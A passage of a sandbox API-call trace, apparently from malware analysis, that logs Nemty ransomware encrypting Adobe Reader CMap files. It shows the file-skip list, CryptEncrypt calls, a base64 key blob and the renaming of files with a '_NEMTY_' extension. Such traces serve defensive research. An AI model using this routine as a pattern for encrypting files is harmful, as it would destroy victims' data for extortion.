lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0196.568] CloseHandle (hObject=0xffffffff) returned 0 [0196.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0196.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0196.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0196.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0196.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0196.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0196.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.568] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-h._nemty_kgobjgd_")) returned 0 [0196.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0196.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0196.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0196.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0196.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0196.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0196.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0196.570] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-V", cAlternateFileName="ADD-RK~2")) returned 1 [0196.570] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2=".") returned 1 [0196.570] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="..") returned 1 [0196.570] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="...") returned 1 [0196.570] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="windows") returned -1 [0196.570] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="$RECYCLE.BIN") returned 1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="rsa") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="NTDETECT.COM") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="ntldr") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="MSDOS.SYS") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="IO.SYS") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="boot.ini") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="boot.ini") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="AUTOEXEC.BAT") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="ntuser.dat") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="desktop.ini") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="CONFIG.SYS") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="RECYCLER") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="BOOTSECT.BAK") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="bootmgr") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="programdata") returned -1 [0196.571] lstrcmpiW (lpString1="Add-RKSJ-V", lpString2="appdata") returned -1 [0196.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0196.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Add-RKSJ-V", lpUsedDefaultChar=0x0) returned 10 [0196.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0196.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Add-RKSJ-V", lpUsedDefaultChar=0x0) returned 10 [0196.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0196.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Add-RKSJ-V", lpUsedDefaultChar=0x0) returned 10 [0196.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0196.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-V", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Add-RKSJ-V", lpUsedDefaultChar=0x0) returned 10 [0196.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0196.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0196.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0196.571] Sleep (dwMilliseconds=0x5) [0196.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28d05310, dwHighDateTime=0x1d561e8)) [0196.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28d05310, dwHighDateTime=0x1d561e8)) [0196.573] GetLastError () returned 0x5 [0196.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0196.574] GetLastError () returned 0x5 [0196.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0196.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0196.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0196.574] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0196.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0196.574] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="ShHBv4jM3NWFHU33RPUDe9ef+6WmnkGcV+zkTmYnk8kJFjaK+iX1LHVzuhkbUh81\r\nn/vKi5BrFbFy5T4Io/kLHYTNoO1yNEWwV6p2d/GZGv/qPsfK0VJg0S49pZXJhELX\r\nAWlV7riXIyT7KHUTQlsBDPfbH4VnBaLaEp1XCN6wSelBQQu3r5DNsiR1oGaBwm1/\r\n4FjSsJEWm4U937INkGwqUfk8ONiK0G1NOqtUhUPuil0kTecE+tNgbXDzQxJoGV2g\r\n/Bm1g5Cn1x/wrRL1jX6ILMIhJgGM3QP8xQYcM/7oJ1BB5jWQ9W/vTGGMR/IuLMQn\r\ndmxyZ9aRFJJNinfawQgCEw==\r\n", pcchString=0x653e91c) returned 1 [0196.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0196.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0196.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0196.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0196.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0196.574] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.574] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0196.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0196.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, 